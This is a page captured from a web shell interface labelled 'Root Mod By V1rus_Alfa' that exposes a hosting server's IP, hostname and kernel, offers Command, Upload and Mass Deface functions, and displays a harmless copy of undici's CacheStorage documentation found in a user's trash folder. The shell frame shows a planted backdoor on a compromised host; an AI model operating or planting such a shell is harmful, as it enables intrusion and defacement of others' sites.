���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
.trash
/
node_modules.1
/
undici
/
docs
/
api
/
Viewing: CacheStorage.md
# CacheStorage Undici exposes a W3C spec-compliant implementation of [CacheStorage](https://developer.mozilla.org/en-US/docs/Web/API/CacheStorage) and [Cache](https://developer.mozilla.org/en-US/docs/Web/API/Cache). ## Opening a Cache Undici exports a top-level CacheStorage instance. You can open a new Cache, or duplicate a Cache with an existing name, by using `CacheStorage.prototype.open`. If you open a Cache with the same name as an already-existing Cache, its list of cached Responses will be shared between both instances. ```mjs import { caches } from 'undici' const cache_1 = await caches.open('v1') const cache_2 = await caches.open('v1') // Although .open() creates a new instance, assert(cache_1 !== cache_2) // The same Response is matched in both. assert.deepStrictEqual(await cache_1.match('/req'), await cache_2.match('/req')) ``` ## Deleting a Cache If a Cache is deleted, the cached Responses/Requests can still be used. ```mjs const response = await cache_1.match('/req') await caches.delete('v1') await response.text() // the Response's body ```
Coded With 💗 by
0x6ick Mod By V1rus_Alfa